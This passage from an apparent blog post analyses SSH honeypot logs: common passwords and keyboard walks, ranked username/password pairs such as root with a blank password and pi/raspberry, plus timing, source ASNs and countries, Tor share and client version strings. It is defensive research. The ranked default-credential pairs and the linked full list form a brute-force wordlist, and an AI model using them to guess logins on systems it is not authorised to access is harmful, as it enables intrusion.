<li><code class="language-plaintext highlighter-rouge">meiyoumima</code> – Mandarin for “no password”</li>
<li><code class="language-plaintext highlighter-rouge">woaini</code> – Mandarin for “I love you”</li>
<li><code class="language-plaintext highlighter-rouge">poiuyt</code> – The name for an optical illusion also known as the “devil’s tuning
fork”</li>
</ul>
<p>There are also dozens and dozens of keyboard walks, like <code class="language-plaintext highlighter-rouge">1q2w3e</code>, <code class="language-plaintext highlighter-rouge">1qaz@WSX</code>,
and <code class="language-plaintext highlighter-rouge">!QAZ2wsx</code>. There are many more that took me much longer to realize they
were keyboard walks, such as <code class="language-plaintext highlighter-rouge">4rfv$RFV</code> and <code class="language-plaintext highlighter-rouge">qpwoei</code>.</p>
<p>It has actually fascinated me to look at some of the less obvious passwords and
discern their background. Many are inexplicable, but I assume they are from
hardcoded passwords in devices or something along those lines. Or perhaps
someone let their cat walk across the keyboard to generate it. I’ve certainly
had that experience.</p>
<p>Overall, the top 10 usernames and top 10 passwords (not necessarily together)
are:</p>
<table class="center">
<thead>
<tr>
<th>Username</th>
<th>Count</th>
<th>Password</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="language-plaintext highlighter-rouge">root</code></td>
<td>729108</td>
<td><blank></td>
<td>40556</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">admin</code></td>
<td>23302</td>
<td><code class="language-plaintext highlighter-rouge">123456</code></td>
<td>14542</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">user</code></td>
<td>8420</td>
<td><code class="language-plaintext highlighter-rouge">admin</code></td>
<td>7757</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">test</code></td>
<td>7547</td>
<td><code class="language-plaintext highlighter-rouge">123</code></td>
<td>7355</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">oracle</code></td>
<td>6211</td>
<td><code class="language-plaintext highlighter-rouge">1234</code></td>
<td>7099</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">ftpuser</code></td>
<td>4012</td>
<td><code class="language-plaintext highlighter-rouge">root</code></td>
<td>6999</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">ubuntu</code></td>
<td>3657</td>
<td><code class="language-plaintext highlighter-rouge">password</code></td>
<td>6118</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">guest</code></td>
<td>3606</td>
<td><code class="language-plaintext highlighter-rouge">test</code></td>
<td>5671</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">postgres</code></td>
<td>3455</td>
<td><code class="language-plaintext highlighter-rouge">12345</code></td>
<td>5223</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">usuario</code></td>
<td>2876</td>
<td><code class="language-plaintext highlighter-rouge">guest</code></td>
<td>4423</td>
</tr>
</tbody>
</table>
<p>There were a total of 128,588 unique pairings of username and password
attempted, though only 38,112 were attempted 5 or more times. You can
<a href="/static/attachments/gopot/creds.csv">download the full list of pairs with counts</a>
here, but I’ve omitted those attempted less than 5 times in case a legitimate
user typo’d an IP or otherwise was mistaken. The top 25 pairings are:</p>
<table class="center">
<thead>
<tr>
<th>username</th>
<th>password</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td> </td>
<td>37580</td>
</tr>
<tr>
<td>root</td>
<td>root</td>
<td>4213</td>
</tr>
<tr>
<td>user</td>
<td>user</td>
<td>2794</td>
</tr>
<tr>
<td>root</td>
<td>123456</td>
<td>2569</td>
</tr>
<tr>
<td>test</td>
<td>test</td>
<td>2532</td>
</tr>
<tr>
<td>admin</td>
<td>admin</td>
<td>2531</td>
</tr>
<tr>
<td>root</td>
<td>admin</td>
<td>2185</td>
</tr>
<tr>
<td>guest</td>
<td>guest</td>
<td>2143</td>
</tr>
<tr>
<td>root</td>
<td>password</td>
<td>2128</td>
</tr>
<tr>
<td>oracle</td>
<td>oracle</td>
<td>1869</td>
</tr>
<tr>
<td>ubuntu</td>
<td>ubuntu</td>
<td>1811</td>
</tr>
<tr>
<td>root</td>
<td>1234</td>
<td>1681</td>
</tr>
<tr>
<td>root</td>
<td>123</td>
<td>1658</td>
</tr>
<tr>
<td>postgres</td>
<td>postgres</td>
<td>1594</td>
</tr>
<tr>
<td>support</td>
<td>support</td>
<td>1535</td>
</tr>
<tr>
<td>jenkins</td>
<td>jenkins</td>
<td>1360</td>
</tr>
<tr>
<td>admin</td>
<td>password</td>
<td>1241</td>
</tr>
<tr>
<td>root</td>
<td>12345</td>
<td>1177</td>
</tr>
<tr>
<td>pi</td>
<td>raspberry</td>
<td>1160</td>
</tr>
<tr>
<td>root</td>
<td>12345678</td>
<td>1126</td>
</tr>
<tr>
<td>root</td>
<td>123456789</td>
<td>1069</td>
</tr>
<tr>
<td>ubnt</td>
<td>ubnt</td>
<td>1069</td>
</tr>
<tr>
<td>admin</td>
<td>1234</td>
<td>1012</td>
</tr>
<tr>
<td>root</td>
<td>1234567890</td>
<td>967</td>
</tr>
<tr>
<td>ec2-user</td>
<td>ec2-user</td>
<td>963</td>
</tr>
</tbody>
</table>
<p>Again, no real surprises here. <code class="language-plaintext highlighter-rouge">ubnt</code> is a little bit higher than I would have
thought (for Ubiquiti networking gear) but I suppose there’s a fair bit of their
gear on the internet. It’s interesting to see the mix of “lazy admin” and
“default credentials” here. It’s <em>mildly</em> interesting to me that all substrings
of the first 10 digits (3 or longer) are included, <em>except</em> for 7 digits. I
guess 7 digit passwords are less common?</p>
<h2 id="timing-information">Timing Information</h2>
<p>Though I imagine these kind of untargeted scans are long-term processes
continually running, I decided to check and see what the timing looked like
anyway. Neither the day of week analysis nor the hour of day analysis look
like there’s any significant variance.</p>
<p><img src="/img/gopot/days_of_week.png" alt="Day of Week" class="center" />
<img src="/img/gopot/hours.png" alt="Hour of Day" class="center" /></p>
<p>Looking at the number of login requests over the time period where I’ve been
running the honeypots shows the traffic to be intermittent. While I didn’t
expect the number to be constant, the variance is much higher than I expected.
I imagine a larger sample size and more nodes would probably make the results
more even.</p>
<p><img src="/img/gopot/dates.png" alt="Day of Study" class="center" /></p>
<h2 id="analysis-of-sources">Analysis of Sources</h2>
<p>So where are all of these requests coming from? I want to start by noting that
<em>none</em> of my analysis is an attempt to attribute the actors making the requests
– that’s just not possible with this kind of data. There’s two ways to look at
the source of requests – in terms of the network, and in terms of the (assumed)
geography. My analysis relied on the IP to ASN and IP to Country data provided
by <a href="https://iptoasn.com/">iptoasn.com</a>.</p>
<p>Looking at the country-level data, networks from China lead the pack by a long
shot (62% of all login attempts), followed by the US.</p>
<p><img src="/img/gopot/countries.png" alt="Countries" class="left" /></p>
<table class="right">
<thead>
<tr>
<th>Country</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>CN</td>
<td>577789</td>
</tr>
<tr>
<td>US</td>
<td>87589</td>
</tr>
<tr>
<td>TW</td>
<td>48645</td>
</tr>
<tr>
<td>FR</td>
<td>39072</td>
</tr>
<tr>
<td>RU</td>
<td>30929</td>
</tr>
<tr>
<td>NL</td>
<td>29920</td>
</tr>
<tr>
<td>JP</td>
<td>28033</td>
</tr>
<tr>
<td>DE</td>
<td>15408</td>
</tr>
<tr>
<td>IN</td>
<td>13921</td>
</tr>
<tr>
<td>LT</td>
<td>6623</td>
</tr>
</tbody>
</table>
<p>Again, I’m not claiming that these countries mean anything other than location
of the autonomous system (AS) that originates the requests. I also did not do
individual IP geolocation, so the results should be taken with a small grain of
salt.</p>
<p>So what networks are sourcing this traffic? I have the <a href="/static/attachments/gopot/asns.csv">full AS counts and
data</a>, but the top networks are:</p>
<table class="center">
<thead>
<tr>
<th>AS Name</th>
<th>Country</th>
<th>ASN</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>CHINANET-BACKBONE No.31,Jin-rong Street</td>
<td>CN</td>
<td>4134</td>
<td>202024</td>
</tr>
<tr>
<td>CHINANET-JS-AS-AP AS Number for CHINANET jiangsu province backbone</td>
<td>CN</td>
<td>23650</td>
<td>186274</td>
</tr>
<tr>
<td>CHINA169-BACKBONE CNCGROUP China169 Backbone</td>
<td>CN</td>
<td>4837</td>
<td>122192</td>
</tr>
<tr>
<td>HINET Data Communication Business Group</td>
<td>TW</td>
<td>3462</td>
<td>48492</td>
</tr>
<tr>
<td>OVH</td>
<td>FR</td>
<td>16276</td>
<td>30865</td>
</tr>
<tr>
<td>VECTANT ARTERIA Networks Corporation</td>
<td>JP</td>
<td>2519</td>
<td>27481</td>
</tr>
<tr>
<td>DIGITALOCEAN-ASN - DigitalOcean, LLC</td>
<td>US</td>
<td>14061</td>
<td>26965</td>
</tr>
<tr>
<td>MICROSOFT-CORP-MSN-AS-BLOCK - Microsoft Corporation</td>
<td>US</td>
<td>8075</td>
<td>20370</td>
</tr>
<tr>
<td>RMINJINERING</td>
<td>RU</td>
<td>49877</td>
<td>16710</td>
</tr>
<tr>
<td>AS38994</td>
<td>NL</td>
<td>38994</td>
<td>14482</td>
</tr>
<tr>
<td>XMGBNET Golden-Bridge Netcom communication Co.,LTD.</td>
<td>CN</td>
<td>45058</td>
<td>12418</td>
</tr>
<tr>
<td>CNNIC-ALIBABA-CN-NET-AP Hangzhou Alibaba Advertising Co.,Ltd.</td>
<td>CN</td>
<td>37963</td>
<td>12045</td>
</tr>
<tr>
<td>CNNIC-TENCENT-NET-AP Shenzhen Tencent Computer Systems Company Limited</td>
<td>CN</td>
<td>45090</td>
<td>10804</td>
</tr>
<tr>
<td>CNIX-AP China Networks Inter-Exchange</td>
<td>CN</td>
<td>4847</td>
<td>10000</td>
</tr>
<tr>
<td>PONYNET - FranTech Solutions</td>
<td>US</td>
<td>53667</td>
<td>9317</td>
</tr>
<tr>
<td>ITTI</td>
<td>US</td>
<td>44685</td>
<td>7960</td>
</tr>
<tr>
<td>CHINA169-BJ China Unicom Beijing Province Network</td>
<td>CN</td>
<td>4808</td>
<td>7835</td>
</tr>
<tr>
<td>AS12876</td>
<td>FR</td>
<td>12876</td>
<td>7262</td>
</tr>
<tr>
<td>AS209605</td>
<td>LT</td>
<td>209605</td>
<td>6586</td>
</tr>
<tr>
<td>CONTABO</td>
<td>DE</td>
<td>51167</td>
<td>6261</td>
</tr>
</tbody>
</table>
<p><img src="/img/gopot/asns.png" alt="AS Graph" class="center" /></p>
<p>Chinanet is no surprise given the high ratio of China in general. OVH is a
low-cost host known to have liberal AUP, so is popular for both malicious and
research purposes. DigitalOcean and Microsoft, of course, are popular cloud
providers. Surprisingly, AWS only sourced about 600 connections, unless they
have a large number of IPs on a non-Amazon ASN.</p>
<p>Overall, traffic came from 27,448 unique IPv4 addresses. Of those, more than 11
thousand sent only a single request. At the other end of the spectrum, the top
IP source sent 64,969 login requests.</p>
<p>Most hosts sent relatively few requests, the large numbers are outliers:</p>
<p><img src="/img/gopot/ipcnts.png" alt="IP Count Graph" class="center" /></p>
<p>Surely, by now a thought has crossed your mind: how many of these requests are
coming from Tor? Surely the Tor network is a wretched hive of scum and villany,
and the source of much malicious traffic, right?</p>
<p><img src="/img/gopot/tor.png" alt="Tor Graph" class="center" /></p>
<p>Not at all. Only 219 of the unique source IPs were identified as Tor exit
nodes, representing only 0.8% of the sources. On a per-request basis, even a
smaller percentage of requests is seen from Tor exit nodes.</p>
<h2 id="client-software">Client Software</h2>
<p>Remember – this is self-reported by the client application, and just like I can
spoof the server version string, so can clients. But I still thought it would
be interesting to take a brief look at those.</p>
<table class="center">
<thead>
<tr>
<th>client</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-PuTTY</code></td>
<td>309797</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-PUTTY</code></td>
<td>182465</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-libssh2_1.4.3</code></td>
<td>135502</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-Go</code></td>
<td>125254</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-libssh-0.6.3</code></td>
<td>62117</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-libssh2_1.7.0</code></td>
<td>23799</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-libssh2_1.9.0</code></td>
<td>21627</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-OpenSSH_7.3</code></td>
<td>9954</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-OpenSSH_7.4p1</code></td>
<td>8949</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-libssh2_1.8.0</code></td>
<td>5284</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-JSCH-0.1.45</code></td>
<td>3469</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-PuTTY_Release_0.70</code></td>
<td>2080</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-PuTTY_Release_0.63</code></td>
<td>1813</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-OpenSSH_5.3</code></td>
<td>1212</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-paramiko_1.8.1</code></td>
<td>1140</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-PuTTY_Release_0.62</code></td>
<td>1130</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-OpenSSH_4.3</code></td>
<td>795</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-PuTTY_Release_0.66</code></td>
<td>694</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2</code></td>
<td>690</td>
</tr>
<tr>
<td><code class="language-plaintext highlighter-rouge">SSH-2.0-libssh_0.11</code></td>
<td>660</td>
</tr>
</tbody>
</table>
<p>You know, I didn’t expect that. <a href="https://www.putty.org/">PuTTY</a> as the top
client strings. (Also not sure what to make of the case difference.) I wonder
if people are building the PuTTY SSH library into a tool for scanning or
wrapping the binary in some kind of script.</p>
<p>Go, paramiko, and libssh are less surprising, as they’re libraries designed for
integration. It’s hard to know if the OpenSSH requests are linked into a
scanning tool or just wrapped versions of the SSH client. At some point in the
future, I might dive more into this and trying to figure out which software uses
which libraries (at least for the publicly-known tools).</p>
<h2 id="summary">Summary</h2>
<p>I was hoping to find something earth-shattering in this research. Instead, I
found things that were much as expected – common usernames and passwords,
widespread scanning, large numbers of requests. One thing’s for sure though:
connect it to the internet and someone’s going to pwn it.</p>